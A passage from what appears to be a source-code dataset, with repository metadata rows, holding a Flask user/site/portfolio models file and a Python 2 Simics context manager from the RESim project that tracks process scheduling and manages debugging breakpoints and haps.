("SetPath", "SetArguments", "SetDescription", "SetWorkingDirectory"),
)
for value, function in data:
if value and function:
# call function on each non-null value
getattr(shortcut, function)(value)
shortcut.save(file)
| [
"[email protected]"
] | |
097ffe889ecca6ba681f647340800b9ee5807fde | 4f0d9dbbf1a870b661870ebb1f4ac2306e6e3802 | /apps/main/models.py | ccc30a23e7cb0441f0aa491fb824e23c663e04a4 | [] | no_license | ItEngine/ItEngine | a5d13af8ae6fc4ebcb4633d0e12e8e7e90a10c63 | 2932f31f33140b3e066d8108235398276500092e | refs/heads/master | 2020-12-03T02:30:36.385719 | 2016-07-23T00:58:04 | 2016-07-23T00:58:04 | 45,215,270 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,385 | py | import datetime
from flask import Blueprint
from sqlalchemy import event
from sqlalchemy.event import listens_for
from werkzeug.security import generate_password_hash
from app import db, login_manager
class User(db.Model):
"""
Model User
"""
__tablename__ = 'Users'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(30), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(120), nullable=False)
first_name = db.Column(db.String(120), nullable=False)
last_name = db.Column(db.String(120), nullable=False)
date_join = db.Column(
db.DateTime, nullable=False,
default=datetime.datetime.utcnow
)
is_active = db.Column(
db.Boolean, default=True
)
is_admin = db.Column(
db.Boolean, default=False
)
@property
def is_authenticated(self):
return True
def get_id(self):
try:
return self.id
except AttributeError:
raise NotImplementedError('No `id` attribute - override `get_id`')
def __repr__(self):
return '<User %r>' % (self.username)
def hash_password(target, value, oldvalue, initiator):
if value is not None:
return generate_password_hash(value)
# Setup listener on User attribute password
event.listen(User.password, 'set', hash_password, retval=True)
@login_manager.user_loader
def load_user(id):
"""
For flask-login get user id
"""
return User.query.get(int(id))
class Site(db.Model):
"""
Model Site
"""
__tablename__ = 'Sites'
id = db.Column(db.Integer, primary_key=True)
company = db.Column(db.String(120), nullable=False)
descrip = db.Column(db.String(500), nullable=False)
type_company = db.Column(db.String(50), nullable=False)
site_company = db.Column(db.String(120), nullable=False)
photo = db.Column(db.Unicode(128))
class Portfolio(db.Model):
"""
Model Portfolio
"""
__tablename__ = 'Portfolios'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(120), nullable=False)
descrip = db.Column(db.String(500), nullable=False)
tecnologies = db.Column(db.String(50), nullable=False)
site_url = db.Column(db.String(120), nullable=False)
photo = db.Column(db.Unicode(128))
| [
"[email protected]"
] | |
a6388fd226aa360a3e348f2f9468dcad02a7a36f | f4e57645e92b594dcf611336b774f9febcd09923 | /simics/monitorCore/genContextMgr.py | 7d63179158f92977c44f66d185ba05a758005c85 | [] | no_license | kingking888/RESim | 24dc63f23df59c66a4aa455cef25a71ecbf2958a | cb3ea4536df5f93719894db83fbfbe42eb25309a | refs/heads/master | 2023-03-21T00:11:12.327617 | 2021-03-19T22:37:32 | 2021-03-19T22:37:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 45,525 | py | from simics import *
'''
Track task context and set/remove beakpoints & haps accordingly. Currently recognises two contexts:
default & RESim. Also has a carve-out for "maze_exit" breakpoints/haps, managed as an attribute of
the hap. Designed to watch a single thread group.
There is one instance of this module per cell.
'''
class GenBreakpoint():
def __init__(self, cell, addr_type, mode, addr, length, flags, handle, lgr, prefix=None):
self.cell = cell
self.addr_type = addr_type
self.mode = mode
self.addr = addr
self.length = length
self.flags = flags
self.break_num = None
self.lgr = lgr
self.handle = handle
self.prefix = prefix
self.set()
def show(self):
print('\tbreak_handle: %s num: %s add:0x%x' % (str(self.handle), str(self.break_num), self.addr))
def set(self):
#self.break_num = SIM_breakpoint(self.cell, self.addr_type, self.mode, self.addr, self.length, self.flags)
''' do set in hap? '''
pass
#self.lgr.debug('GenBreakpoint set done in hap, the break handle is %d' % self.handle)
def clear(self):
if self.break_num is not None:
#self.lgr.debug('GenBreakpoint clear breakpoint %d break handle is %d' % (self.break_num, self.handle))
SIM_delete_breakpoint(self.break_num)
self.break_num = None
class GenHap():
def __init__(self, hap_type, callback, parameter, handle, lgr, breakpoint_list, name, immediate=True):
''' breakpoint_start and breakpont_end are GenBreakpoint types '''
self.hap_type = hap_type
self.callback = callback
''' used with afl '''
self.parameter = parameter
self.breakpoint_list = breakpoint_list
self.lgr = lgr
self.hap_num = None
self.handle = handle
self.name = name
self.set(immediate)
def show(self):
if self.handle is not None and self.hap_num is not None:
print('hap_handle: %d num: %d name: %s' % (self.handle, self.hap_num, self.name))
for bp in self.breakpoint_list:
bp.show()
def hapAlone(self, (bs, be)):
#self.lgr.debug('GenHap alone set hap_handle %s name: %s on range %s %s (0x%x 0x%x) break handles %s %s' % (str(self.handle),
# self.name, str(bs.break_num), str(be.break_num),
# bs.addr, be.addr, str(bs.handle), str(be.handle)))
self.hap_num = SIM_hap_add_callback_range(self.hap_type, self.callback, self.parameter, bs.break_num, be.break_num)
#self.lgr.debug('GenHap alone set hap_handle %s assigned hap %s name: %s on range %s %s (0x%x 0x%x) break handles %s %s' % (str(self.handle),
# str(self.hap_num), self.name, str(bs.break_num), str(be.break_num),
# bs.addr, be.addr, str(bs.handle), str(be.handle)))
def set(self, immediate=True):
''' NOTE: different calls to SIM_brekapoint below '''
if len(self.breakpoint_list) > 1:
for bp in self.breakpoint_list:
bp.break_num = SIM_breakpoint(bp.cell, bp.addr_type, bp.mode, bp.addr, bp.length, bp.flags)
if bp.prefix is not None:
command = 'set-prefix %d "%s"' % (bp.break_num, bp.prefix)
SIM_run_alone(SIM_run_command, command)
#self.lgr.debug('contextManager prefix cmd: %s' % command)
self.lgr.debug('GenHap breakpoint created for hap_handle %d assigned breakpoint num %d' % (self.handle, bp.break_num))
bs = self.breakpoint_list[0]
be = self.breakpoint_list[-1]
#self.lgr.debug('GenHap callback range')
if immediate:
#self.lgr.debug('GenHap set hap_handle %s assigned name: %s on range %s %s (0x%x 0x%x) break handles %s %s' % (str(self.handle),
# self.name, str(bs.break_num), str(be.break_num),
# bs.addr, be.addr, str(bs.handle), str(be.handle)))
self.hap_num = SIM_hap_add_callback_range(self.hap_type, self.callback, self.parameter, bs.break_num, be.break_num)
#self.lgr.debug('GenHap set hap_handle %s assigned hap %s name: %s on range %s %s (0x%x 0x%x) break handles %s %s' % (str(self.handle),
# str(self.hap_num), self.name, str(bs.break_num), str(be.break_num),
# bs.addr, be.addr, str(bs.handle), str(be.handle)))
else:
SIM_run_alone(self.hapAlone, (bs, be))
elif len(self.breakpoint_list) == 1:
bp = self.breakpoint_list[0]
#self.lgr.debug('bp.cell is %s addr %s' % (str(bp.cell), str(bp.addr)))
if bp.addr is None:
self.lgr.error('contextManager, set bp.addr is none')
return
bp.break_num = SIM_breakpoint(bp.cell, bp.addr_type, bp.mode, bp.addr, bp.length, bp.flags)
if bp.prefix is not None:
command = 'set-prefix %d "%s"' % (bp.break_num, bp.prefix)
SIM_run_alone(SIM_run_command, command)
#self.lgr.debug('contextManager prefix cmd: %s' % command)
#self.lgr.debug('GenHap set hap_handle %s name: %s on break %s (0x%x) break_handle %s' % (str(self.handle),
# self.name, str(bp.break_num), bp.addr, str(bp.handle)))
self.hap_num = SIM_hap_add_callback_index(self.hap_type, self.callback, self.parameter, bp.break_num)
#self.lgr.debug('GenHap set hap_handle %s assigned hap %s name: %s on break %s (0x%x) break_handle %s' % (str(self.handle), str(self.hap_num),
# self.name, str(bp.break_num), bp.addr, str(bp.handle)))
else:
self.lgr.error('GenHap, no breakpoints')
def clear(self, dumb=None):
if self.hap_num is not None:
for bp in self.breakpoint_list:
bp.clear()
SIM_hap_delete_callback_id(self.hap_type, self.hap_num)
#self.lgr.debug('GenHap clear hap %d handle %d' % (self.hap_num, self.handle))
self.hap_num = None
class GenContextMgr():
def __init__(self, top, cell_name, task_utils, param, cpu, lgr):
self.top = top
self.cell_name = cell_name
self.task_utils = task_utils
self.param = param
self.task_utils = task_utils
self.mem_utils = task_utils.getMemUtils()
self.debugging_pid = None
self.debugging_pid_saved = None
self.debugging_comm = None
self.debugging_cell = None
self.cpu = cpu
self.pageFaultGen = None
''' watch multiple tasks, e.g., threads '''
self.watch_rec_list = {}
self.watch_rec_list_saved = {}
self.pending_watch_pids = []
self.nowatch_list = []
self.watching_tasks = False
self.single_thread = False
self.lgr = lgr
self.ida_message = None
self.exit_break_num = None
self.exit_cb_num = None
self.phys_current_task = task_utils.getPhysCurrentTask()
self.task_break = None
self.task_hap = None
self.breakpoints = []
self.haps = []
self.break_handle = 0
self.hap_handle = 0
self.text_start = None
self.text_end = None
self.catch_pid = None
self.catch_callback = None
self.watch_only_this = False
''' used with afl '''
self.callback = None
self.exit_callback = None
''' experiment with tracking task switches among watched pids '''
self.task_switch = {}
obj = SIM_get_object(cell_name)
self.default_context = obj.cell_context
context = 'RESim_%s' % cell_name
cmd = 'new-context %s' % context
SIM_run_command(cmd)
obj = SIM_get_object(context)
self.resim_context = obj
self.lgr.debug('context_manager cell %s resim_context defined as obj %s' % (self.cell_name, str(obj)))
''' avoid searching all task recs to know if pid being watched '''
self.pid_cache = []
self.group_leader = None
''' watch pointers to task recs to catch kills '''
self.task_rec_hap = {}
self.task_rec_bp = {}
self.task_rec_watch = {}
''' avoid multiple calls to taskRecHap '''
self.demise_cache = []
''' used by pageFaultGen to supress breaking on apparent kills '''
self.watching_page_faults = False
def getRealBreak(self, break_handle):
for hap in self.haps:
for bp in hap.breakpoint_list:
if bp.handle == break_handle:
return bp.break_num
return None
def getBreakHandle(self, real_bp):
for hap in self.haps:
#self.lgr.debug('getBreakHandle hap %s' % (hap.name))
for bp in hap.breakpoint_list:
#self.lgr.debug('getBreakHandle look for %d got %d' % (real_bp, bp.break_num))
if bp.break_num == real_bp:
return bp.handle
return None
def showHaps(self):
self.lgr.debug('contextManager showHaps')
for hap in self.haps:
hap.show()
#def getRESimContext(self):
# return self.debugging_cell
def recordText(self, start, end):
self.lgr.debug('contextMgr recordText 0x%x 0x%x' % (start, end))
self.text_start = start
self.text_end = end
def getText(self):
return self.text_start, self.text_end
def nextHapHandle(self):
self.hap_handle = self.hap_handle+1
return self.hap_handle
def nextBreakHandle(self):
self.break_handle = self.break_handle+1
return self.break_handle
def genBreakpoint(self, cell, addr_type, mode, addr, length, flags, prefix=None):
''' create a GenContextManager breakpoint. This is not yet set.
Determine if the context should be resim, e.g., only when one of our
debugging processes is schedule.
'''
handle = self.nextBreakHandle()
if self.debugging_pid is not None and addr_type == Sim_Break_Linear:
cell = self.resim_context
#self.lgr.debug('gen break with resim context %s' % str(self.resim_context))
bp = GenBreakpoint(cell, addr_type, mode, addr, length, flags, handle, self.lgr, prefix=prefix)
self.breakpoints.append(bp)
#self.lgr.debug('genBreakpoint handle %d number of breakpoints is now %d prefix %s' % (handle, len(self.breakpoints), prefix))
return handle
def genDeleteBreakpoint(self, handle):
#self.lgr.debug('genDeleteBreakpoint handle %d -- do not delete, will be done in GenHap' % handle)
#for bp in self.breakpoints:
# if bp.handle == handle:
# bp.clear()
# self.breakpoints.remove(bp)
# return
#self.lgr.debug('genDeleteBreakpoint could not find break handle %d' % handle)
pass
def genDeleteHap(self, hap_handle, immediate=False):
if hap_handle is None:
self.lgr.warning('genDelteHap called with handle of none')
return
#self.lgr.debug('genDeleteHap hap_handle %d' % hap_handle)
hap_copy = list(self.haps)
for hap in hap_copy:
if hap.handle == hap_handle:
if immediate:
hap.clear(None)
else:
SIM_run_alone(hap.clear, None)
#self.lgr.debug('num breaks in hap %d is %d' % (hap_handle, len(hap.breakpoint_list)))
for bp in hap.breakpoint_list:
if bp in self.breakpoints:
#self.lgr.debug('removing bp %d from hap_handle %d break_num %s' % (bp.handle, hap_handle, str(bp.break_num)))
self.breakpoints.remove(bp)
else:
self.lgr.warning('genDeleteHap bp not in list, handle %d ' % (bp.handle))
#self.lgr.debug('genDeleteHap removing hap %d from list' % hap.handle)
self.haps.remove(hap)
return
#self.lgr.debug('genDeleteHap could not find hap_num %d' % hap_handle)
def genHapIndex(self, hap_type, callback, parameter, handle, name=None):
#self.lgr.debug('genHapIndex break_handle %d' % handle)
for bp in self.breakpoints:
if bp.handle == handle:
hap_handle = self.nextHapHandle()
hap = GenHap(hap_type, callback, parameter, hap_handle, self.lgr, [bp], name)
self.haps.append(hap)
return hap.handle
#self.lgr.error('genHapIndex failed to find break %d' % breakpoint)
def genHapRange(self, hap_type, callback, parameter, handle_start, handle_end, name=None):
#self.lgr.debug('genHapRange break_handle %d %d' % (handle_start, handle_end))
bp_start = None
bp_list = []
for bp in self.breakpoints:
if bp.handle >= handle_start:
bp_list.append(bp)
if bp.handle == handle_end:
hap_handle = self.nextHapHandle()
hap = GenHap(hap_type, callback, parameter, hap_handle, self.lgr, bp_list, name, immediate=False)
#self.lgr.debug('contextManager genHapRange set hap %s on %d breaks' % (name, len(bp_list)))
self.haps.append(hap)
return hap.handle
#self.lgr.error('genHapRange failed to find break for handles %d or %d' % (breakpoint_start, breakpoint_end))
def setAllBreak(self):
for bp in self.breakpoints:
bp.set()
if self.pageFaultGen is not None:
self.pageFaultGen.recordPageFaults()
def setAllHap(self, only_maze_breaks=False):
for hap in self.haps:
if (not only_maze_breaks and hap.name != 'exitMaze') or (only_maze_breaks and hap.name == 'exitMaze'):
hap.set()
def clearAllBreak(self):
''' Called to clear breaks within the resim context '''
for bp in self.breakpoints:
#if bp.cell == self.resim_context:
bp.clear()
if self.pageFaultGen is not None:
self.pageFaultGen.stopPageFaults()
def clearAllHap(self, keep_maze_breaks=False):
#self.lgr.debug('clearAllHap start')
for hap in self.haps:
if not keep_maze_breaks or hap.name != 'exitMaze':
hap.clear()
#self.lgr.debug('clearAllHap finish')
def getThreadRecs(self):
return self.watch_rec_list.keys()
def getThreadPids(self):
retval = []
for rec in self.watch_rec_list:
pid = self.watch_rec_list[rec]
#self.lgr.debug('genContextManager getThreadPids append %d to returned thread pid list' % (pid))
retval.append(pid)
return retval
def addNoWatch(self):
''' only watch maze exits for the current task. NOTE: assumes those are set after call to this function'''
self.lgr.debug('contextManager cell %s addNoWatch' % self.cell_name)
if len(self.nowatch_list) == 0 and len(self.watch_rec_list) == 0:
''' had not been watching and tasks. start so we can not watch this one '''
self.setTaskHap()
self.watching_tasks=True
self.lgr.debug('contextManager addNoWatch began watching tasks')
rec = self.task_utils.getCurTaskRec()
self.nowatch_list.append(rec)
self.lgr.debug('contextManager addNoWatch for rec 0x%x' % rec)
SIM_run_alone(self.clearAllHap, True)
def rmNoWatch(self):
''' restart watching the current task, assumes it was added via addNoWatch '''
rec = self.task_utils.getCurTaskRec()
if rec in self.nowatch_list:
self.nowatch_list.remove(rec)
self.lgr.debug('contextManager rmNoWatch, rec 0x%x removed from nowatch list' % rec)
if len(self.nowatch_list) == 0 and len(self.watch_rec_list) == 0:
''' stop all task watching '''
self.stopWatchTasks()
SIM_run_alone(self.setAllHap, False)
self.lgr.debug('contextManager addNoWatch stopped watching tasks, enabled all HAPs')
else:
''' restart watching '''
SIM_run_alone(self.setAllHap, False)
else:
self.lgr.error('contextManager rmNoWatch, rec 0x%x not in nowatch list' % rec)
def changedThread(self, cpu, third, forth, memory):
''' guts of context managment. set or remove breakpoints/haps
depending on whether we are tracking the newly scheduled process '''
if self.task_hap is None:
return
# get the value that will be written into the current thread address
new_addr = SIM_get_mem_op_value_le(memory)
prev_task = self.task_utils.getCurTaskRec()
#DEBUG BLOCK
pid = self.mem_utils.readWord32(cpu, new_addr + self.param.ts_pid)
comm = self.mem_utils.readString(cpu, new_addr + self.param.ts_comm, 16)
prev_pid = self.mem_utils.readWord32(cpu, prev_task + self.param.ts_pid)
prev_comm = self.mem_utils.readString(cpu, prev_task + self.param.ts_comm, 16)
self.lgr.debug('changeThread from %d (%s) to %d (%s) new_addr 0x%x watchlist len is %d debugging_comm is %s context %s' % (prev_pid,
prev_comm, pid, comm, new_addr, len(self.watch_rec_list), self.debugging_comm, cpu.current_context))
if len(self.pending_watch_pids) > 0:
''' Are we waiting to watch pids that have not yet been scheduled?
We don't have the process rec until it is ready to schedule. '''
if pid in self.pending_watch_pids:
self.lgr.debug('changedThread, pending add pid %d to watched processes' % pid)
self.watch_rec_list[new_addr] = pid
self.pending_watch_pids.remove(pid)
self.watchExit(rec=new_addr, pid=pid)
if pid not in self.pid_cache and comm == self.debugging_comm:
group_leader = self.mem_utils.readPtr(cpu, new_addr + self.param.ts_group_leader)
leader_pid = self.mem_utils.readWord32(cpu, group_leader + self.param.ts_pid)
add_it = False
if leader_pid in self.pid_cache:
add_it = True
elif pid == leader_pid:
parent = self.mem_utils.readPtr(cpu, new_addr + self.param.ts_real_parent)
if parent in self.watch_rec_list:
parent_pid = self.mem_utils.readWord32(cpu, parent + self.param.ts_pid)
self.lgr.debug('contextManager new clone %d is its own leader, but parent %d is in cache. Call the parent the leader.' % (pid, parent_pid))
add_it = True
leader_pid = parent_pid
else:
self.lgr.debug('contextManager pid:%d (%s) not in cache, nor is parent in watch_rec_list 0x%x' % (pid, comm, parent))
if add_it:
''' TBD, we have no reason to believe this clone is created by the group leader? Using parent or real_parent is no help'''
self.lgr.debug('contextManager adding clone %d (%s) leader is %d' % (pid, comm, leader_pid))
self.addTask(pid, new_addr)
self.top.addProc(pid, leader_pid, comm, clone=True)
self.watchExit(new_addr, pid)
self.top.recordStackClone(pid, leader_pid)
else:
self.lgr.debug('contextManager pid:%d (%s) not in cache, group leader 0x%x leader pid %d' % (pid, comm, group_leader, leader_pid))
elif pid in self.pid_cache and new_addr not in self.watch_rec_list:
self.lgr.debug('*********** pid in cache, but new_addr not in watch list? eh?')
if not self.watching_tasks and \
(new_addr in self.watch_rec_list or (len(self.watch_rec_list) == 0 and len(self.nowatch_list) > 0)) \
and not (self.single_thread and pid != self.debugging_pid):
''' Not currently watching processes, but new process should be watched '''
if self.debugging_pid is not None:
cpu.current_context = self.resim_context
#self.lgr.debug('resim_context')
#self.lgr.debug('Now scheduled %d new_addr 0x%x' % (pid, new_addr))
self.watching_tasks = True
self.setAllBreak()
only_maze_breaks = False
if new_addr in self.nowatch_list:
only_maze_breaks = True
#self.lgr.debug('contextManager changedThread, only do maze breaks')
SIM_run_alone(self.setAllHap, only_maze_breaks)
elif self.watching_tasks:
if prev_task in self.nowatch_list:
if new_addr not in self.nowatch_list:
''' was watching only maze exits, watch everything but maze'''
#self.lgr.debug('was watching only maze, now watch all ')
SIM_run_alone(self.clearAllHap, False)
SIM_run_alone(self.setAllHap, False)
elif new_addr in self.nowatch_list:
''' was watching everything, watch only maze '''
#self.lgr.debug('Now only watch maze')
SIM_run_alone(self.clearAllHap, False)
SIM_run_alone(self.setAllHap, True)
elif len(self.watch_rec_list) > 0 and new_addr not in self.watch_rec_list:
''' Watching processes, but new process should not be watched '''
if self.debugging_pid is not None:
cpu.current_context = self.default_context
#self.lgr.debug('default_context')
#self.lgr.debug('No longer scheduled')
self.watching_tasks = False
#self.auditExitBreaks()
self.clearAllBreak()
#if pid not in self.task_switch:
# self.task_switch[pid] = []
#self.task_switch[pid].append(self.cpu.cycles)
SIM_run_alone(self.clearAllHap, False)
elif len(self.watch_rec_list) > 0:
''' switching between watched pids '''
#if pid not in self.task_switch:
# self.task_switch[pid] = []
#self.task_switch[pid].append(self.cpu.cycles)
pass
if self.catch_pid == pid:
self.lgr.debug('contextManager changedThread do catch_callback for pid %d' % pid)
SIM_break_simulation('in pid %d' % pid)
#SIM_run_alone(self.catch_callback, None)
self.catch_pid = None
def catchPid(self, pid, callback):
self.catch_pid = pid
self.catch_callback = callback
def watchAll(self):
self.watch_only_this = False
def watchOnlyThis(self):
ctask = self.task_utils.getCurTaskRec()
cur_pid = self.mem_utils.readWord32(self.cpu, ctask + self.param.ts_pid)
pcopy = list(self.pid_cache)
for pid in pcopy:
if pid != cur_pid:
self.rmTask(pid)
self.watch_only_this = True
def rmTask(self, pid, killed=False):
''' remove a pid from the list of task records being watched. return True if this is the last thread. '''
retval = False
rec = self.task_utils.getRecAddrForPid(pid)
if rec is None and killed:
''' assume record already gone '''
for r in self.watch_rec_list:
if self.watch_rec_list[r] == pid:
rec = r
self.lgr.debug('contextManager rmTask %d rec already gone, remove its entries' % pid)
break
if rec in self.watch_rec_list:
del self.watch_rec_list[rec]
self.lgr.debug('rmTask removing rec 0x%x for pid %d, len now %d' % (rec, pid, len(self.watch_rec_list)))
if pid in self.pid_cache:
self.pid_cache.remove(pid)
self.lgr.debug('rmTask remove %d from cache, cache now %s' % (pid, str(self.pid_cache)))
if pid in self.task_rec_bp and self.task_rec_bp[pid] is not None:
SIM_delete_breakpoint(self.task_rec_bp[pid])
self.lgr.debug('contextManger rmTask pid %d' % pid)
SIM_hap_delete_callback_id('Core_Breakpoint_Memop', self.task_rec_hap[pid])
del self.task_rec_bp[pid]
del self.task_rec_hap[pid]
del self.task_rec_watch[pid]
if len(self.watch_rec_list) == 0:
if self.debugging_comm is None:
self.lgr.warning('contextManager rmTask debugging_comm is None')
else:
self.lgr.debug('contextManager rmTask watch_rec_list empty, clear debugging_pid')
#self.debugging_comm = None
#self.debugging_cell = None
pids = self.task_utils.getPidsForComm(self.debugging_comm)
if len(pids) == 0:
self.cpu.current_context = self.default_context
self.stopWatchTasks()
retval = True
else:
if self.top.swapSOPid(pid, pids[0]):
self.lgr.debug('contextManager rmTask, still pids for comm %s, was fork? set dbg pid to %d' % (self.debugging_comm, pids[0]))
''' replace SOMap pid with new one from fork '''
self.debugging_pid = pids[0]
else:
''' TBD poor hueristic for deciding it was not a fork '''
self.cpu.current_context = self.default_context
self.stopWatchTasks()
retval = True
elif pid == self.debugging_pid:
self.debugging_pid = self.pid_cache[0]
self.lgr.debug('rmTask debugging_pid now %d' % self.debugging_pid)
else:
self.lgr.debug('rmTask remaining debug recs %s' % str(self.watch_rec_list))
return retval
def addTask(self, pid, rec=None):
if rec is None:
rec = self.task_utils.getRecAddrForPid(pid)
if rec not in self.watch_rec_list:
if rec is None:
#self.lgr.debug('genContextManager, addTask got rec of None for pid %d, pending' % pid)
self.pending_watch_pids.append(pid)
else:
#self.lgr.debug('genContextManager, addTask pid %d add rec 0x%x' % (pid, rec))
self.watch_rec_list[rec] = pid
self.watchExit(rec=rec, pid=pid)
if pid not in self.pid_cache:
self.pid_cache.append(pid)
else:
#self.lgr.debug('addTask, already has rec 0x%x for PID %d' % (rec, pid))
pass
def watchingThis(self):
ctask = self.task_utils.getCurTaskRec()
dumb, comm, cur_pid = self.task_utils.curProc()
if cur_pid in self.pid_cache or ctask in self.watch_rec_list:
#self.lgr.debug('am watching pid:%d' % cur_pid)
return True
else:
#self.lgr.debug('not watching %d' % cur_pid)
return False
def amWatching(self, pid):
ctask = self.task_utils.getCurTaskRec()
dumb, comm, cur_pid = self.task_utils.curProc()
if pid == cur_pid and (ctask in self.watch_rec_list or len(self.watch_rec_list)==0):
return True
elif pid in self.pid_cache:
return True
else:
return False
def restoreDefaultContext(self):
self.cpu.current_context = self.default_context
self.lgr.debug('contextManager restoreDefaultContext')
def restoreDebugContext(self):
self.cpu.current_context = self.resim_context
self.lgr.debug('contextManager restoreDebugContext')
def restoreDebug(self):
self.debugging_pid = self.debugging_pid_saved
self.watch_rec_list = self.watch_rec_list_saved.copy()
for ctask in self.watch_rec_list:
self.pid_cache.append(self.watch_rec_list[ctask])
self.cpu.current_context = self.resim_context
self.lgr.debug('contextManager restoreDebug set cpu context to resim, debugging_pid to %s' % str(self.debugging_pid))
def stopWatchTasks(self):
if self.task_break is None:
self.lgr.debug('stopWatchTasks already stopped')
return
SIM_delete_breakpoint(self.task_break)
SIM_hap_delete_callback_id("Core_Breakpoint_Memop", self.task_hap)
self.task_hap = None
self.task_break = None
self.watching_tasks = False
self.watch_rec_list_saved = self.watch_rec_list.copy()
if self.debugging_pid is not None:
self.debugging_pid_saved = self.debugging_pid
self.watch_rec_list = {}
for pid in self.task_rec_bp:
if self.task_rec_bp[pid] is not None:
self.lgr.debug('stopWatchTasks delete bp %d' % self.task_rec_bp[pid])
SIM_delete_breakpoint(self.task_rec_bp[pid])
SIM_hap_delete_callback_id('Core_Breakpoint_Memop', self.task_rec_hap[pid])
self.task_rec_bp = {}
self.task_rec_hap = {}
self.task_rec_watch = {}
self.pid_cache = []
self.debugging_pid = None
cpu, dumb, dumb2 = self.task_utils.curProc()
cpu.current_context = self.default_context
self.lgr.debug('stopWatchTasks reverted %s to default context %s' % (cpu.name, str(self.default_context)))
def resetWatchTasks(self):
''' Intended for use when going back in time '''
self.lgr.debug('resetWatchTasks')
self.stopWatchTasks()
self.watchTasks(set_debug_pid = True)
if not self.watch_only_this:
ctask = self.task_utils.getCurTaskRec()
pid = self.mem_utils.readWord32(self.cpu, ctask + self.param.ts_pid)
if pid == 1:
self.lgr.debug('resetWatchTasks got leader pid of 1, skip')
return
leader_pid = self.task_utils.getGroupLeaderPid(pid)
pid_list = self.task_utils.getGroupPids(leader_pid)
for pid in pid_list:
if pid == 1:
self.lgr.debug('resetWatchTasks got pid of 1, skip')
else:
self.addTask(pid)
def setTaskHap(self):
#print('genContextManager setTaskHap debugging_cell is %s' % self.debugging_cell)
self.task_break = SIM_breakpoint(self.cpu.physical_memory, Sim_Break_Physical, Sim_Access_Write,
self.phys_current_task, self.mem_utils.WORD_SIZE, 0)
#self.lgr.debug('genContextManager setTaskHap bp %d' % self.task_break)
self.task_hap = SIM_hap_add_callback_index("Core_Breakpoint_Memop", self.changedThread, self.cpu, self.task_break)
#self.lgr.debug('setTaskHap cell %s break %d set on physical 0x%x' % (self.cell_name, self.task_break, self.phys_current_task))
def restoreWatchTasks(self):
self.watching_tasks = True
if self.debugging_pid is not None:
self.lgr.debug('contextManager restoreWatchTasks cpu context to resim')
self.cpu.current_context = self.resim_context
def watchTasks(self, set_debug_pid = False):
if self.task_break is not None:
#self.lgr.debug('watchTasks called, but already watching')
return
ctask = self.task_utils.getCurTaskRec()
pid = self.mem_utils.readWord32(self.cpu, ctask + self.param.ts_pid)
if pid == 1:
#self.lgr.debug('contextManager watchTasks, pid is 1, ignore')
return
if self.task_break is None:
self.setTaskHap()
self.watching_tasks = True
self.watchExit()
self.pageFaultGen.recordPageFaults()
if ctask in self.watch_rec_list:
self.lgr.debug('watchTasks, current task already being watched')
return
self.lgr.debug('watchTasks cell %s watch record 0x%x pid: %d set_debug_pid: %r' % (self.cell_name, ctask, pid, set_debug_pid))
self.watch_rec_list[ctask] = pid
if pid not in self.pid_cache:
self.pid_cache.append(pid)
group_leader = self.task_utils.getGroupLeaderPid(pid)
if group_leader != self.group_leader:
#self.lgr.debug('contextManager watchTasks x set group leader to %d' % group_leader)
self.group_leader = group_leader
if set_debug_pid:
self.setDebugPid()
def changeDebugPid(self, pid):
if pid not in self.pid_cache:
self.lgr.error('contextManager changeDebugPid not in pid cache %d' % pid)
return
self.lgr.debug('changeDebugPid to %d' % pid)
self.debugging_pid = pid
def singleThread(self, single):
self.single_thread = single
def setDebugPid(self):
if self.debugging_pid is not None:
self.lgr.debug('contextManager setDebugPid already set to %d' % self.debugging_pid)
return
cell, comm, cur_pid = self.task_utils.curProc()
#self.default_context = self.cpu.current_context
self.cpu.current_context = self.resim_context
self.lgr.debug('setDebugPid %d, (%s) resim_context' % (cur_pid, comm))
self.debugging_pid = cur_pid
self.debugging_comm = comm
self.debugging_cell = self.top.getCell()
if cur_pid not in self.pid_cache:
self.pid_cache.append(cur_pid)
def killGroup(self, lead_pid, exit_syscall):
self.top.rmDebugExitHap()
if lead_pid == self.group_leader:
pids = self.task_utils.getPidsForComm(self.debugging_comm)
add_task = None
for p in pids:
if p not in self.pid_cache:
self.lgr.debug('killGroup found pid %d not in cache, was it a fork?' % p)
add_task =p
break
self.lgr.debug('contextManager killGroup %d is leader, pid_cache is %s' % (lead_pid, str(self.pid_cache)))
cache_copy = list(self.pid_cache)
for pid in cache_copy:
ida_msg = 'killed %d member of group led by %d' % (pid, lead_pid)
exit_syscall.handleExit(pid, ida_msg, killed=True, retain_so=True)
#self.rmTask(pid, killed=True)
#if pid in self.demise_cache:
# self.demise_cache.remove(pid)
if self.pageFaultGen is not None:
if self.pageFaultGen.handleExit(pid):
print('SEGV on pid %d?' % pid)
self.lgr.debug('genContextManager SEGV on pid %d?' % pid)
self.clearExitBreaks()
if add_task is not None:
self.addTask(add_task)
elif self.group_leader != None:
self.lgr.debug('contextManager killGroup NOT leader. got %d, leader was %d' % (lead_pid, self.group_leader))
if self.pageFaultGen is not None:
self.pageFaultGen.handleExit(lead_pid)
else:
self.lgr.debug('contextManager killGroup NO leader. got %d' % (lead_pid))
if self.pageFaultGen is not None:
self.pageFaultGen.handleExit(lead_pid)
def deadParrot(self, pid):
''' who knew? death comes betweeen the breakpoint and the "run alone" scheduling '''
exit_syscall = self.top.getSyscall(self.cell_name, 'exit_group')
if exit_syscall is not None and not self.watching_page_faults:
ida_msg = 'pid:%d exit via kill?' % pid
self.lgr.debug('contextManager deadParrot pid:%d rec no longer found call killGroup' % (pid))
self.killGroup(pid, exit_syscall)
#exit_syscall.handleExit(pid, ida_msg, killed=True)
else:
self.rmTask(pid)
if self.pageFaultGen is not None:
self.pageFaultGen.handleExit(pid)
self.clearExitBreaks()
self.lgr.debug('contextManager deadParrot pid:%d rec no longer found removed task' % (pid))
if self.exit_callback is not None:
self.exit_callback()
def resetAlone(self, pid):
self.lgr.debug('contextManager resetAlone')
dead_rec = self.task_utils.getRecAddrForPid(pid)
if dead_rec is not None:
list_addr = self.task_utils.getTaskListPtr(dead_rec)
if list_addr is not None:
self.lgr.debug('contextMgr resetAlone rec 0x%x of pid %d still found though written by maybe not dead after all? new list_addr is 0x%x' % (dead_rec,
pid, list_addr))
SIM_delete_breakpoint(self.task_rec_bp[pid])
del self.task_rec_bp[pid]
